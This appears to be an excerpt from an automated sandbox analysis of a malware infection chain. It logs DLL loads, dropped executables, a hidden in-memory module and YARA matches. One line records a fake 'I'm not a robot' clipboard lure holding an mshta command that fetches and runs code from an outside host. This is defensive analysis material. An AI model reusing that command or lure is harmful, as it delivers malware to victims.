Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: gameoptimizer.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: input.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: bitsproxy.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: C:\Windows\System32\msiexec.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E3205E05-7972-45C4-8321-B26BB5BCDBB2}

Data Obfuscation
barindex
Yara detected Costura Assembly Loader
Source: Yara match File source: 00000015.00000002.2319275911.0000000006A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2257443246.00000000052E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2219624900.0000000003651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2257443246.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Persistence and Installation Behavior
barindex
HTML page adds supicious text to clipboard
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Clipboard modification: mshta https://servverifcloud.com/ # I m not a robot: ludflare Vrifiction ID: 00-G
Drops PE files
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI5E5.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\elvlvj Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI5E5.tmp Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\elvlvj Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\ELVLVJ
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\ELVLVJ
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
